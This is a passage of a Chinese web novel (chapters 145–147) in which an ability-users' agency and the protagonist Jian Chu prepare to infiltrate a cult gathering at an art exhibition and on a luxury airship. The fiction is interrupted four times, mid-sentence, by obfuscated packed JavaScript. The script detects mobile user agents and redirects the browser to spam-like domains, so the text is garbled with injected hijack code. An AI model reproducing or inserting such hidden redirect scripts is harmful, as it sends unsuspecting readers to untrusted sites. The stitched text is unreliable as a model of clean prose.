“人都到齐了。”马瑞安并没有谈及其他，无论如何，对现在的他们来说多个助力总比多个麻烦要好得多。 “多亏……”他卡壳了一秒，下意识看了眼简初，“多亏你提供的消息，调查有了新进展。” “明天，也就是八月三号，就是集会正式举行的时间，你们可能不太清楚，我有必要说明一下，根据以往的经验，集会并不仅仅持续几个小时，它往往是混在某个大型活动的表象之下，挑选其中某个时间点集中举行仪式。” “仪式？”张国栋轻声念叨，他并没有打扰马瑞安讲述的意思，但音量控制得不太好，换来了所有人的目光。 “呃，抱歉……” “对，是仪式，他们通过这样的方式，来向信仰的神明祈福。”他说到最后两个字的时候，嘴角细微向下撇，除了简初没人注意到。 说仪式还不够明确，但提到“祈福”，简初就不得不想到之前从异能署手里“交换”来的材料，其中有一个她非常感兴趣的东西。 浸染。 对于天选会来说，这确实称得上是赐福，名额足够少，效果极其好，几乎是每个天选会成员的梦想。 但费经周折举行集会，就只为了这件事吗？ “当然，仪式只是集会中固定的一环，其他的情况变化太大，很难说提前做好准备。”马瑞安摇摇头，“不过好消息是，集会的地点已经推演出来了，但还有个坏消息，我们得到了两个不相上下的结果。” 马瑞安抬抬下巴，另一边的易阳立刻接收信号，背后的投影幕布上出现两张巨大的图片，要说共同点，那就是图片里的画面都十分华丽，看上去就很贵。 “天空之眼，以及卡维纳宫殿。” 作为蓝湾的经典地标建筑，天空之眼相当著名。它建设于十年前，至今仍以336米的海拔傲视群雄。 这栋大厦原本并不叫这个名字，真正的“天空之眼”其实是位于接近顶楼的艺术展览大厅，圆盘形的结构让它如同一个巨大的眼眸仰视着天空，时间一长，蓝湾的居民都直接用这名字来代称这栋大厦。 相比之下，卡维纳宫殿就相当陌生了。 宋也接过了介绍的任务：“明天，天空之眼将举行一场为期一周的大型艺术展览，展览的主题是‘古今神迹’，各位应该可以在手机上搜索到官方通知。” 展览会这种东西再怎么高端，也终究是小范围人群关心的事情，搜索框一拉，往下划了两下，才找到宋也口中的官方通知。 “哇，确实都是很有名的古董……呃，门票好贵。”温南小声嘟囔。 “因为它本质上并不只是一个展览。”宋也见大家都检索到信息，才继续补充，“门票不仅昂贵，购票门槛也相当高，除此之外，对于艺术品鉴的能力也有一定的要求。” 更像一个扩展人脉的交流会。 “而卡维纳宫殿同样会于明天开启一场航行，为期三天，主题是‘夜梦迷思’，唔，听上去就一副纸醉金迷的样子。”宋也自己也小小吐槽了一番。 “抱歉打断一下，刚刚说的是航行？”张国栋这次是真的打断。 宋也平静颔首：“没错，因为卡维纳宫殿是一架巨型飞艇，每年都会在世界各地举行巡航，这次会从蓝湾启航。” “参与的要求比刚刚大概还要严格一点，但好处在于其宾客范围更广，生面孔多，比较好混进去。” 不愧是异能署，在这种时候最重要的还是任务。 “网上的讨论度还挺高的，哇，这个门票更贵！”温南走在冲浪第一线。 某种程度上来说，飞艇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572503|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的门槛反而要低一些，毕竟艺术搞得好的大多有钱，而有钱的却未必搞艺术，事实上，公众对卡维纳宫殿的关注度也要更高一些。 虽然真的只是一些。 “所以现在，我们是要讨论哪个地方更可能被选中，作为集会的举办地？”简初突然开口，把即将走偏的关注点拉了回来。 但马瑞安的表情却有些莫名，他放下手里的手机，咂了咂嘴：“不，我们两边都要去。” 这个结果好像也出乎异能署其他人的意料，他们不约而同看了过去，眼神中透露出不解。 开会之前明明说好，这次是试探简初对于这两个地点的看法，甚至连谁在什么时候问什么问题就安排好了，这会怎么突然不按剧本来了？ 顾杰羽平淡地看了他一眼，然后垂下眼皮，扯了扯嘴角。 “这种时候没有隐瞒各位的必要，就在刚刚我接到了上级的通知，这两个地点的可能性相差无几，我们不能随意决定放弃其中任何一个。”马瑞安说着，自己都长叹了口气。 “等等老马，我们没有那么多人手啊？”宋也问道。 “上头会安排人来帮忙，大概下午会到。”马瑞安又开始盘他那根皱巴巴的香烟。 众人面面相觑。 其他人不了解他，但异能署的几人已经从马瑞安的表情里看出了不对，想必这次的“支援”并不如明面上的那么美好。 “这样合适吗？这两个地方都是易守难攻，要是之后再想加支援就很麻烦了。”路玺提出自己的意见，“难道他们把一组派来的，我不能接受除此之外的任何安排。” “来了，但没完全来。”马瑞安突然开口，让大家有些措不及防。 宋也扶额：“现在是说这种话的时候吗？” “一组会有人做后方指挥，也会有人和我们一起行动，当然另外上头还会安排其他人参加实地行动。”马瑞安的语速突然加快，好像很想赶紧把这句话说完。 [既然你要求上调了‘F’证言的可信度，那就得负起责任，能给你协调这么多人已经很不错了，一组不可能把白海扔下，全部参与到这里来的。另外建议你不要太信任‘F’，别最后搞出个乌龙。] 这条消息已经被回收，但他每个字都记得很清楚。 这些人，事情还没办呢，就想好要怎么甩锅了。 “我无话可说。”因为有外人在场，宋也只能尽力克制自己的脾气，“一组谁过来？” “还没联系，我也是刚刚才收到消息。”马瑞安朝桌上的手机扬扬下巴。 话虽如此，但他对前来支援的人选大概有所猜测，毕竟平日里合作的翻来覆去总是那几个人。 “一组的人还是信得过的，但是上面会派什么人过来，希望不是那种只会动嘴皮子的。” 简初打量着几人的表情，看样子他们并不是很期待上级派来的所谓“支援”，大概率是以前吃过亏。 “不管他们，我们先把自己安排好，这两个地方都没那么容易混进去，相比之下，飞艇上遇到麻烦，后期更难支援，所以我建议把战力偏向这边。”马瑞安清点着人数，“算上简初和温南，我们有七个人，我认为……” “算我一个。”一直沉默的顾杰羽突然开口。 会议室的空气突然凝固起来。 145. 无人区（47） “顾姐……” 异能署的几人面色各异，就算再怎么没眼色也能发现此时气氛不对，那边的张国栋几乎控制不住自己的眼神，短短十几秒，已经往顾杰羽身上瞥了好几次。 这也不怪他，明明是同事，此时却发现对方身上藏着大秘密，虽然他平时掩饰得很好，但异能什么的，会有人不好奇吗？ “不要在这种事上浪费时间，你继续吧。”顾杰羽倒是波澜不惊，眉头都没变一下，示意马瑞安继续安排。 简初八方不动，将所有人的反应尽收眼底，她觉得自己需要重新定义顾杰羽在异能署的地位，马瑞安作为组长，在这种情况下竟然隐隐有被顾杰羽压下一头的感觉，更不用提顾杰羽甚至已经不是异能署的人了。 能有这样的效果，不是以前的威望很高，就是能力极强。 “那就算八个人。”马瑞安也是出乎意料地轻易揭过这个话题，“各位可以提提建议，关于两边人手的安排，我会参考你们意见的。” 他的视线投向简初，其中蕴含的意思再明显不过。作为重要信息的提供者，她的选择也许会透露出一些信息。马瑞安并不觉得对方已经将一切与他们和盘托出，至少关于“F”的身份足以说明，简初并没有交底。 但很可惜，他看向的人并没有给予任何反应，而是平静地用指尖敲击桌面，甚至连节奏都没有改变过。 就算简初不回答，场面也没有冷下去。 “我觉得艺术展的主题比较契合天选会的风格，他们不是翻来覆去把什么神不神的挂嘴边。”易阳瘪瘪嘴，看上去积怨已久。 “话是这么说，但是飞艇支援起来难度太高了，如果出现情况我们几乎不可能第一时间赶到，天空之眼毕竟跑不了，我还是觉得应该更偏向飞艇。”路玺提出了不同的意见，看上去得到了好几个人的赞同。 “都有道理，还有……”为了不打击年轻人的积极性，马瑞安正准备端水，但话没说完就突然噤声，看向桌面上突然亮起的手机。 通话非常短暂，他只是应和了两声，便挂断了。 “路玺，你去楼下接人，他们到了。” 说好的下午，现在却提前抵达，很难让人不思考其中究竟发生了什么变故。简初微微撩起眼皮，注意到异能署的几个人不约而同改变了坐姿，看上去郑重了许多。 中间的温南感觉自己一个人缩着反倒更显眼，也不自觉挺直了腰背。 须臾的安静后，门外传来凌乱的脚步声。 “各位，别来无恙啊！” 随着大门被推开，年轻的男声抢先传来。众人回首，就看见一个穿着黑色机车服的年轻人，看上去大概二十五六岁，好像刚从什么时装秀赶过来。 他的视线从所有人身上走过，最后落在简初……旁边的张国栋身上。 “你就是F吧，没想到看上去还挺正派。”他两步迅速出现在张国栋面前，“友善”地打了招呼，“大众脸果然适合隐藏身份啊。” “什么？”张国栋什么大风大浪没见过，呃，这种还真没见过。 “隋辩，礼貌一点。” 随后的女性出言提醒，但年轻人却是变了脸色：“都说了不要在外面喊我的名字！” 不说还好，这下所有人都知道他叫“随便”了。 “噗……唔！”温南对上他冷飕飕的视线，赶紧用手捂住了嘴。 “你倒还挺淡定。”隋辩笑嘻嘻地揽上张国栋的肩膀，左右看了看，朝一旁的简初举起手，“我想坐这里，能麻烦让个位子吗？” “你……”张国栋感觉头皮有些麻酥酥的。 “请坐。”简初抢先站起身，另外找了个空位落座，环顾四周，“怎么都站着，坐啊。” 马瑞安：…… 感觉他可以下岗了。 “咳咳，我来介绍一下，这两位是应术和隋辩，是异能署一组的顶梁柱，另外这两位是？”宋也恰到好处地把话交给了应术，也就是刚刚出言提醒的女性。 “这是总部下派的监督员，孔越，这位是行动专员艾玲，她会和隋辩一起加入行动小组，孔监督和我则在后方支持。”应术扶了扶平光眼镜，经过顾杰羽时微微点头，算是打过招呼。 “目前是这样的安排，有变化随时调整……这几位我似乎没见过。” 宋也的余光瞥见某人，心下起了坏心眼，特地跳过此时离她最近的简初，从另一边开始介绍。 “这位是张国栋，蓝湾总队的高级警督，我们和蓝湾总队之间主要也是靠他协调的，这位是温南，刘迪案件的亲历者，也是新的异能者，这次行动之后应该会正式加入我们。” “嗯？那这位呢？”应术对宋也莫名的停顿感到疑惑，忍不住多看了简初两眼，心下一转已经有了猜测。 “这位是简初，算是……我们和‘F’的中间人。” 因为还有不知道内情的人在场，宋也还是选择撑住了有关F真实身份的遮羞布。 “什么？她才是？”隋辩整个人突然支楞起来。 “随便以貌取人是不对的。”简初露出一个和善的微笑，却莫名让人后背发凉，不过谐音还是让其他人忍俊不禁，“该进入正题了吧，马组长？” “恕我冒昧打断，来之前上级交给我新的指示。”一旁的孔越突然开口，他看上去大约四十岁左右，看上去文绉绉的。 “上级要求马瑞安组长带队，将卡维纳宫殿作为第一目标，隋辩和F也参与这组的行动，艾玲则是负责天空之眼这边的情况，其他的人手由你们自行安排。” 这下所有人的视线都集中到简初身上。 这安排确实算不上错，但问题就在于……安排别人没问题，这位，可不是他们麾下的人啊。 应术的眉眼也淡了下来，看上去情绪不高：“我得说明一下，白海方面得到了新的情报，所以对上次的结果进行了重新计算，卡维纳宫殿的概率上升到了68%。但是为了保险期间，总部安排了紧急迫降装置，如果有任何意外，各位可以直接离开，赶往天空之眼。” 很好的安排，使易骄手心发凉。 她不知道其他人现在是什么想法，但就从她与简初不多的交往来看，她估计马上就要开始发挥了。 但说实话，他们这群人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600778|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打打杀杀惯了，跳个飞艇都算小意思，但简初之前可是个医生，这种事情果然还是有些困难的吧。 他们没有问过别人的意见就擅自定下这样的计划，放到她自己头上大概率也会不高兴的。 果然，应术说完没有两秒，简初就翘起了二郎腿。 易骄闭上了双眼。 “挺好，但我有一个小问题，请问你们是出于什么身份，来安排我的呢？”简初歪歪头，脸上是相当疑惑的表情，正因如此，嘲讽力反而更强了，“没记错的话，我应该是个自由人吧？” 易骄微微睁大双眼，讶异于简初关注的点竟然不是跳飞艇。 总部下派的监督员并没有想象中的强硬，他愣了愣，磕磕巴巴开口：“这样的，上头是按照你们的能力来划分的，大家也是为了同一个目标……” 他的话让应术都有些不耐地皱起眉头，也不知道总部究竟想做什么，这次竟然派这种人来协助。 隋辩不知道在什么时候挪到了简初旁边，看上去丝毫没有芥蒂：“你要加入异能署吗？” 回答他的是简初无情的一瞥。 “我们只是合作关系，手不要伸得太长。” 一旁的马瑞安默不作声。他并没有向上级汇报F要一起行动的事情，只能说那群人的作风一向如此。 大家都是聪明人，自然看出来简初只是想敲打这位监督员，并没有要完全撕破脸的意思。 短暂的安静过后，孔越尴尬地打了个圆场：“话是这么说，但我们确实都是为了阻止……” 应术直接打断了他无意义的话：“我们带来了两边的邀请函，为了方便行动，前期还请各位尽量掩饰身份，天选会跟我们打了很多交道，警惕心可以说是非常高，被发现会很麻烦。” “由于飞艇上是独立信号，届时还需要找到信号源，接入我们自己的信道，以防万一我准备了两个外接设备，随便用哪一个，插入之后等待上面的灯亮起就好了，在此之前，各位无法跟后方；联系，所以需要尽快完成。” 一旁的艾玲终于摘下了自己的小包，从里面掏出两个神似优盘的东西，紧接着就是一字排开的邀请函。 “时间和经费紧张，所以只有这些，卡维纳宫殿四张，天空之眼三张。”艾玲语气弱弱的，在每句话的结尾还会有些许吞音，但听上去已经尽力把话说清楚了，“另外，我们在天空之眼的酒店预定了房间，会作为临时指挥部使用。” 工具到位，剩下的就是人了。 “宋也，你带着路玺和艾玲去天空之眼，易阳跟……” “易骄易阳待在一起，他们的异能偏向辅助，待在一起效果会更好。”顾杰羽似乎预料到马瑞安会如何安排，直接打断了对方，“这种时候不要考虑别的，我跟你们上飞艇。” 话说到这份上，以马瑞安的了解，已经没有拒绝的余地了。 “顾……女士，非常感谢您不计前嫌的帮助。”应术突然的开口让周围为之一静，简初敏锐地发现宋也的脸色已经沉了下来，但不知道出于什么考虑，并没有开口。 不计前嫌啊，看来这里头故事多着呢。 146. 无人区（48） 此时正是一天中最热的时刻，炫目的日光毫无保留地照耀着，把每栋大厦的表面烤得油润发亮。 尽管室内被中央空调吹得凉飕飕，但站在环形走廊上，还是能感受到热量穿过巨大的透明玻璃，缓慢地渗透进来。 “隔热玻璃也就是个噱头。”走廊里的人站在阴影处唠着家常，“听说你儿子回国了，我怕是有快十年没见过他了。” “哎，那个不孝子跑出国说要学艺术，难为我这把老骨头还要继续操劳。”回话之人的笑容里带着一丝不易察觉的示好，“这两天还躺在家里倒时差呢，回头等盛会长您有时间，我让他去拜访一下，希望您多多考教一番，这孩子成天搞那些新玩意，不懂什么叫历史的积淀。” “年轻人嘛，不看价值，这几天我还算有空，你可以带他过来看看。” 两人看上去年龄相仿，但却又似乎有着微妙的差距。 “那太好了！这小子还嫩得很，要学的东西多了。”虽然嘴上这么说，但脸上的笑容看上去对儿子还是相当满意的。 “年轻好，我们像这么大的时候可没这个魄力，包一背就自己出跑出国了。”大概是感觉聊得差不多了，盛余海话锋一转，“这次展会麻烦你操心了。” “哪有的事，我还得感谢会长给我这个机会，这展览会一办，我这地方都感觉有文化了不少，哈哈！” “会长？”不远处探出一个脑袋，他先是四处瞟了瞟，找到人才赶紧跑了过来，“会长，您有客人来了。” 说着，工作人员将手里薄薄的牛皮纸信封递过来，盛余海在手里掂了掂，并没有打开，而是转头看向一旁的人。 “张董，我这边还有客人，您看……” “那我就不打扰了，先行告辞，咱们明天见？” 两人一番客套之后，终于各自分别，一个从走廊径直离开，另一个则是回到会场内部。 盛余海捏着手里的信封，左右看了看，发现一个面生的年轻人正站在展品柜旁打量着，便连忙加快脚步迎了上去。 “你好，你就是……” “嗯。”年轻女性的衣着低调，上面没有任何商标，但材质和剪裁却是一等一的好，“我来拿东西。” 盛余海也不多话，直接撕开手里的信封，看都不看就把里头的东西揣进怀中，转手掏出一叠硬质卡片。 “按照你们要的数量，我能不能问问，那位会亲自来吗？”他看上去期待又忐忑。 “到时候你就知道了。”女性数了数手里的卡，确认无误才重新看向他，“之前跟你说的都安排好了？我要检查一下。” “我带您去……” “不用，你忙你的。”女性冷着脸扔下这句话，走出两步停下，“别跟着我。” “好……好的。”盛余海赶紧点头，目送着她走远。 …… 翌日。 太阳还挂在天上，余威让空气依旧燥热，但这里的人们仿佛没有感知温度的能力，一眼望去全都是板正的长衣长裤，最多也是把衬衫的袖子卷上来。 简初提着一个小手提箱，抬头打量面前的飞艇。 尽管有着金碧辉煌的名字，但飞艇外形却质朴很多，但根据此前看过的内部结构图，它确实也配得上“宫殿”之名。 “你站这么远做什么？”身边的隋辩伸手拉了她一下，对方手里同样提着一个手提箱，里面的隔层里放了好几件道具，以备不时之需。 “啊？哦，不好意思。”简初很不走心地敷衍了一句，横向挪近了五厘米，又若无其事地看向四周，“人还挺多的。” “之前认错人确实是我的问题。”隋辩自以为找到了原因，又巴巴地跟了上去，“其他我管不了，你别穿帮就行！” 简初懒得搭理他。 异能署亲自弄来的邀请函肯定没有问题，一行人已经被包装成外地的小富商，为了扩展产业到这里来碰碰运气。为了避免不必要的麻烦，他们并没有一起行动，而是两两一组各自登艇，等上去之后再找机会碰面。 “欢迎莅临卡维纳宫殿，祝您享受这段美妙的旅程。” 飞艇将于晚上六点准时起飞，并在蓝湾以及周边空域环行、停留两天三夜，于6号早上降落。 今夜九点，第一场主题宴会将正式开幕，同时也宣告本次航行正式开始，卡维纳宫殿将在蓝湾上空盘旋一夜，并于第二天前往邻区。 飞艇上房间数量远远超过本次的宾客，简初和隋辩前后往房间而去，没多久拐了个弯，就看见站在走廊里的马瑞安和顾杰羽。他们四人的房间紧挨在一起，但周围还有其他客人，所以他们只是简单点头示意，便各自进了房间。 整艘飞艇分为A、B、C、D四块，A区是等级最高的头等舱，但主办方很注重来宾的关系维护，就算客房等级明确，也并不影响公共区域的使用，包括宴会餐标也是统一的。 尽管他们的客房位于C区，但内部空间还是比简初预想的要大，不过出于安全考虑，房间内都没有观景窗，只有在公共区域才能看到外面的景色。 简初把手提箱放在沙发上，貌似疲惫地坐在一旁摸出了手机，没多久，屏幕上就显示收到了新消息。 [挺干净的。] 发信人正是隋辩，这话表面上是在说房间干净，其实内涵是房间内部没有监控设施。 简初长叹一口气，伸手拨开手提箱的密码锁，塞得满满的箱子瞬间弹开，要不是里面有隔层兜着，怕是东西都要直接飞出来。 必要的行李先放到一边，她费了不少劲才把夹层的锁扣全都揭开，伸手从里面掏出了一把小巧的手枪，不过巴掌大小，也只有六发子弹，紧急情况用它倒也足够了。 两个世界的枪支使用起来还是有点区别，但白天做过紧急培训，使用起来也算顺手。 剩下的工具都在其他三人手里，她的包里只剩下一把小小的贴纸，看上去平平无奇，其实是短时间的信号发射器，如果发现异常可以及时贴上，能够在最短时间内向其他人传递消息。 毕竟有些时候可能没办法开口或者使用手机，所以不管是求救还是单纯用于标记，都是个很不错的小玩意。 简初刚把这些东西都藏在身上，头顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14616941|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就响起了通知。 “各位来宾晚上好，欢迎乘坐卡维纳宫殿，本次航行主题……” 洋洋洒洒一大堆，对整个航行进行了详尽的介绍，等喇叭里的声音已经透露出一丝沙哑，他终于宣告飞艇即将起飞。 “请各位寻找最近的位置坐下，以防飞艇震荡发生不必要的碰撞。” 乘务员一间间客房提醒过去，许久之后简初脚下的地板才震动了两下，失重感袭来，如同乘坐电梯一般，显然此时飞艇正在加速浮空，但速度控制得很好，不过一两分钟就进入匀速升空阶段。 “飞艇将于十分钟后进入平稳飞行，请来宾们在此期间不要随意走动，谢谢配合。” 其实这点震动对于大多数人来说都没什么影响，不过出于免责，主办方肯定要做得周全一些，简初趁这段时间把房间内的情况摸了个透，顺便温习了待会的行动路线。 上飞艇的第一个任务，接通信道。 “咚咚咚。” 外头传来规律的敲门声，简初再次检查了随身携带的物品，上前打开了房门。 “时间差不多了，走吧。”隋辩双手插兜靠在门旁，简初顺着他抬下巴的方向看见了顾杰羽独自离开的背影，“他们去船尾的机房了，我们去另一个。” 简初反手关上房门：“他们分开行动？” “谁知道。”隋辩耸耸肩，又伸手拉了拉领口。他平时穿的都比较松快，突然这样相当不习惯。 此时还没有什么人出门，倒也方便了他们行事。 “船头的机房比较靠近中控室，工作人员会多一些，到时候你转移一下他们的注意，其他的交给我。”他看上去对这种工作驾轻就熟，“需要我帮你想个理由吗？诶，要不你用你的异能，可以控制他们的思想吗？” 简初睁着死鱼眼埋头往前走。 “怎么不说话，你原来是这种性格啊，好无聊。”隋辩看上去有些挫败，“早知道不跟你一组了，算了，那两个人更没意思。” 这人的性子过于跳脱，相比之下连易阳都比他稳重许多。 从孔越身上，简初瞥见了来自异能署高层的某些特征，在这样的氛围里，隋辩却能保持这样的性格，如果不是头顶有人护着，就是他个人的能力很强，或者说是不可替代。 虽然马瑞安没有详细介绍，但明显这群人已经可以分为两类，一类是马瑞安等人，他们来自于对外行动组——从这么长时间观察看来，应术和隋辩所在的一组应当是负责白海区域，天选会此前在白海活动频繁，他们的对应经验要充足很多。 另外就是异能署下派的艾玲和孔越了，只是三言两语，简初便能感觉到双方之间并没有那么和谐，艾玲看上去不像是会多话的人，但另一个……好像未必。 “喂，你不聊点什么吗，随便什么都行，不然我们看上去很可疑啊。”隋辩嘴上这么说，但眼神一点都没有往这边看，远远看上去两人之间的气氛还算正常。 “你这不是在聊吗。”虽然是问句，但简初却用了陈述的语气。 隋辩：…… 这人好恶劣。 147. 无人区（49） 一小时之前，天空之眼。 易骄、易阳和温南正在楼下的套房里，这里是距离会场最近的中转站，他们介入了天空之眼内部的监控，并同步将画面转播到蓝湾总队的办公室，在那里，应术和孔越也在关注这边的动向。 简初一行人已经抵达卡维纳宫殿的登入处，一旦飞艇升空，在从机房取得信号之前，他们都无法保持稳定的通联。 此时，展览会已经持续了快三个小时，再过不久，天空之眼就要闭馆，路玺和宋也正以客气地交谈，在旁人看来，他们因为相同的艺术爱好“趣味相投”，正在讨论面前画作的艺术价值。 艾玲没有和他们有任何交集，正在应付一位年轻的花花公子。 “很少见到像你这么年轻的小姐有这么深刻的艺术见解，不知道你接下来有没有时间，我们换个地方再聊聊？” 套房里的温南尴尬地摸了摸耳朵，听着这个男的不死心地继续纠缠艾玲，不过对方的身份不一般，正是本次承包会场的富商之子，所以艾玲还是耐着性子和对方周旋。 不管有用没有，先把信息套了再说。 “所以上午突击，背的那些艺术鉴赏知识，还是有用的吧？”易阳苦哈哈地撑着下巴，把自己面前的监控切换到另一边。 实在是天空之眼太大了，这次的活动展品又十分珍贵，所以几乎全部的监控点位都在24小时运作，他们根本没办法同时看那么多画面。 “我还没找到盛余海。”会场里，路玺借机和宋也小声说道，“他开幕之后好像就走了。” 按道理来说，这么重要的场合，而且还是展览的第一天，作为发起的主办方，他没理由不在场。 “时间差不多了，待会你先离场，我最后……”路玺刚开口，口袋里的手机就突然响了起来，尽管声音很小，但因为环境实在是安静，所以还是不免吸引了周围人的注意。 他和宋也交换了眼神，随即向周围的客人示意抱歉，迅速走出展览会场接起了电话。 “去西南角的洗手间，盛余海……”电话里，应术刚说了几个字，就突然没了声音，“不，他出来了，我建议你去看看情况，但是不要冒进。” 路玺不太明白应术这通电话的意义——虽然他们计划找盛余海攀谈两句，可现在并不是一个好时机。 他回头看了眼向出口走去的宋也，微微蹙起眉头，按照应术提供的消息，走进了空无一人的走廊。 会场的出入口几乎与这里相对，所以此时没有人会到这边来，身后本就不高的人声逐渐消失，周围只回荡着路玺一个人的脚步声，他突然感受到一丝没来由的紧张，但下一秒，伴随着一阵清脆的脚步声，一位年轻女子出现在了他的视线里。 她最多不超过三十岁，正用纸巾擦拭双手，看上去刚从洗手间出来，陡然遇到人她也有些讶异，但两人脚步都没有停下，互相点头示意便交错而行。 西南角除了洗手间就只有紧急出口和电梯，因为展览会的管控需要，这边的电梯暂时不对外开放。 拐过弯，路玺就看到了洗手间的告示牌，不过里头安安静静，似乎并没有人。 事实上也确实没人。 二十分钟后，路玺在车上拨通了应术的电话。 “刚刚是什么情况，盛余海从哪儿冒出来的？” “是我的失误，监控点位太多了，我在回看的时候才发现盛余海在四点五十五的时候进了洗手间，但一直没有出来，我担心出事所以让你去看看。” 这话并没有解开路玺的疑惑，反而让他眉头皱得更紧：“他从哪里去的洗手间，我们在会场一直没有看见他人。” “就是洗手间不远处的电梯，他应该是有电梯卡。” “那他脚程还挺快的。”路玺忍不住笑了，实在是盛余海特地坐电梯来这个洗手间，实在是太过奇怪，“我到的时候他竟然已经走了。” 电梯和洗手间离得不算远，他接到电话就立刻赶了过去，前后最后也就一分钟的样子。 “你在说什么？”应术的嗓音变得低沉，“你不是遇到他了吗？” …… 卡维纳宫殿。 透过舷窗，外面是壮美的落日以及深蓝与绛紫杂糅的天空，暮光在地板上形成一个个美妙的小方块，让人神迷。 这条走道还有三两个乘客在看风景，无遮挡观景台暂时还没有开放，这里反倒成了观景的好去处。来宾们非富即贵，所以工作人员并没有驱赶他们。 简初双手抱胸，和隋辩站在一扇舷窗前，外面是飘渺的层云，而身后不远处的门上则贴着“工作区域请勿入内”。 按照结构图，这扇门进去的第一间就是机房，它不过的右上角有一台正在运作中的监控。 隋辩颇为轻松地扭了扭腰，权当做热身：“年龄不大，毛病不少，啧，腰痛。” 不远处的乘客耳鬓厮磨，可美景当前，却有两块毫无眼力见的木头直愣愣戳在这，叫人尴尬。没多久，乘客只能小声抱怨两句，黏糊糊地牵手离开了。 简初听见身旁的人吹了声口哨，紧接着凑近了一些：“都走了，轮到我们了。” 经过的给工作人员朝他们投来奇怪的眼神，脚下加快了离开的步伐。 “好像没有你发挥的地方了。”隋辩调侃道。 按照之前的分工，简初需要帮他引开工作人员，从而争取行动的时间，但现在看来，似乎不需要这项工作了。 简初淡淡瞥他一眼，精神力在附近游走。 “人的行动轨迹是不可预计的，如果我是你，现在就不会浪费时间说废话。” 话音刚落，就有一个红点往这边走来，隋辩还没来得及反驳她的话，就被简初掐着后脖颈摁回舷窗前。 不过三五秒，刚刚那名工作人员再次出现，他脸色尴尬脚步匆匆，进入工作区十几秒就又快速离开，看样子只是落下了什么东西。 小小的插曲让隋辩无话可说，他擀平了嘴角，发出一声意义不明的“啧”。 “我去了，你看好门。” 简初不想浪费时间和他争口舌，对于她来说，只要对方好好完成任务，不要带来麻烦就好。 太阳又落下了一点，但走道上的灯仍然没有打开，昏黄的夕照落在简初半边脸上，叫人看不清表情。 隋辩心底莫名沉了沉，老老实实转过身，在她的注视下消失在了墙壁之内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629225|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监控安静地运行着，却并没有人发现异常。 这显然不是异能的功劳，如果监控失效，想必安保人员应该已经赶过来了。可现在，所有的小红点仍然在自己的工作岗位上。 整个机房里黑黢黢的，设备运作中闪烁着各色的光点，毫无规律地分布在周围，隋辩确定里面并没有其他人，便掏出手机打开了手电筒。 屋内的结构他并不清楚，但信号传输设备长什么样他还是知道的，隋辩小心避开地面上错杂的线路，按顺序检查起每一排的机器，很快就在嗡鸣声中找到了角落的目标。 他无声地勾勾唇角，借着手机的光亮准确将外接盘插入，上面并没有什么标志表明它已经开始运作，这让人有些不安。 自己下次得提点意见。隋辩心想。 黑暗中的等待有些漫长，才两分钟，倒感觉已经过去十来分钟了，不过门外一直没有传来什么动静，说明一切都还顺利。 正当他这样想着，就听见外头传来模糊的话语声。 两名工作人员小声交谈着，拐过弯就看到一名女士正孤身一人，似乎十分忧愁地注视着窗外擦黑的景色，明明正是盛夏，却莫名让人感受到一丝冷清。 “女士，请问你需要帮助吗？”飞艇刚刚启航，工作人员还没有被繁杂的工作压得喘不过气，秉持着优良的服务理念，他们上前进行了相当亲切的人文关怀。 简初仿若未觉，伸手擦了擦眼角并不存在的泪水，转头露出有些受惊的表情：“抱……抱歉，我只是……一个人看看风景。” 年轻女性脸上有些落寞的表情让人担忧，一男一女两名工作人员更放不下心了。 绝对不能在飞艇上出什么事，一丝丝负面新闻都不可以。 “您心情似乎不太好，是发生什么事了吗？”其中的女性工作人员柔声细语。 简初尴尬地摇摇头：“我只是……迷路了。” 犹豫的话配上这副表情，任谁都不会相信她只是迷路了，但他们又不能对贵客追根究底。 “您想去什么地方，我可以为您带路。” 其他的红点暂时都没有往这边来的意思，虽然不清楚面前这两人会不会去机房，但为了以防万一，简初还是决定将他们引开。 “可以带我去C区吗，我想回去休息一会。” 女性工作人员立刻应下，微微弯腰，伸出一只手示意她往这边走。 